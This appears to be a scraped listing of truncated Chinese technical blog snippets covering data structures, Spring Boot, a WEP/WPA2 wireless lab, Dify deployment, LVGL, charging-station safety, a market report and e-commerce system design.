&#x1f4c1; JZ9 用兩個棧實現隊列一個棧in用作進元素&#xff0c;一個棧out用于出元素。當棧out沒有元素時&#xff0c;從in棧獲取數據&#xff0c;根據棧的特性&#xff0c;棧out的top元素一定是先進入的元素&#xff0c;因此當棧out使用pop操作時&#xff0c;一定時滿足隊…

GoView 低代碼數據可視化

純前端 分支&#xff1a; master &#x1f47b; 攜帶 后端 請求分支: master-fetch &#x1f4da; GoView 文檔 地址&#xff1a;https://www.mtruning.club/ 項目純前端-Demo 地址&#xff1a;https://vue.mtruning.club/ 項目帶后端-Demo 地址&#xff1a;https://demo.mtrun…

Spring Boot返回前端Long型丟失精度 后兩位 變成00

文章目錄一、前言二、問題描述2.1、問題背景2.2、問題示例三、解決方法3.1、將ID轉換為字符串3.2、使用JsonSerialize注解3.3、使用JsonFormat注解一、前言 在后端開發中&#xff0c;我們經常會遇到需要將ID作為標識符傳遞給前端的情況。當ID為long類型時&#xff0c;如果該ID…

計算機網絡實驗——無線局域網安全實驗

實驗1. WEP和WPA2-PSK實驗一、實驗目的驗證AP和終端與實現WEP安全機制相關的參數的配置過程。驗證AP和終端與實現WPA2-PSK安全機制相關的參數的配置過程。驗證終端與AP之間建立關聯的過程。驗證關閉端口的重新開啟過程。驗證屬于不同BSS的終端之間的數據傳輸過程。二、實驗任務…

【從零開始學Dify】大模型應用開發平臺Dify本地化部署

目錄Dify一、本地化部署1、安裝docker2、安裝Dify&#xff08;1&#xff09;拉取代碼到本地&#xff08;2&#xff09;docker部署&#xff08;3&#xff09;查看服務狀態&#xff08;4&#xff09;web端部署&#xff08;5&#xff09;登錄二、可能會出現的問題&#xff08;1&am…

LVGL應用和部署(和物理按鍵交互)

【 聲明&#xff1a;版權所有&#xff0c;歡迎轉載&#xff0c;請勿用于商業用途。 聯系信箱&#xff1a;feixiaoxing 163.com】屏幕除了顯示部分&#xff0c;還要去和其他外設進行交互&#xff0c;這是非常重要的一個處理方法。我們知道&#xff0c;不管是mcu&#xff0c;還是…

限流式保護器如何筑牢無人駕駛汽車充電站的安全防線

摘要&#xff1a; 隨著新能源汽車&#xff0c;尤其是無人駕駛車隊的快速發展&#xff0c;充電設施的安全可靠性至關重要。交流充電樁&#xff08;俗稱“慢充樁”&#xff09;作為重要的充電基礎設施&#xff0c;其末端回路的安全保護需滿足國家標準GB51348-2019的嚴格要求&…

專題:2025母嬰行業洞察報告|附60+份報告PDF匯總下載

原文鏈接&#xff1a;https://tecdat.cn/?p42908 全球母嬰市場正經歷結構性增長&#xff0c;一面是歐美成熟市場的品質消費升級&#xff0c;一面是東南亞、中東等新興市場的人口紅利釋放。2020至2026年&#xff0c;全球母嬰市場規模將從1859億美元增至3084億美元&#xff0c;年…

從零搭建多商戶商城系統源碼:技術棧、數據庫設計與接口規劃詳解

如今&#xff0c;多商戶商城系統已成為傳統零售轉型與新型電商平臺構建的關鍵利器。無論是打造像某寶、某東這樣的綜合型平臺&#xff0c;還是服務于垂直行業的獨立電商&#xff0c;一套高效、可擴展的多商戶商城系統源碼&#xff0c;往往決定著平臺的成敗。 今天&#xff0c;小…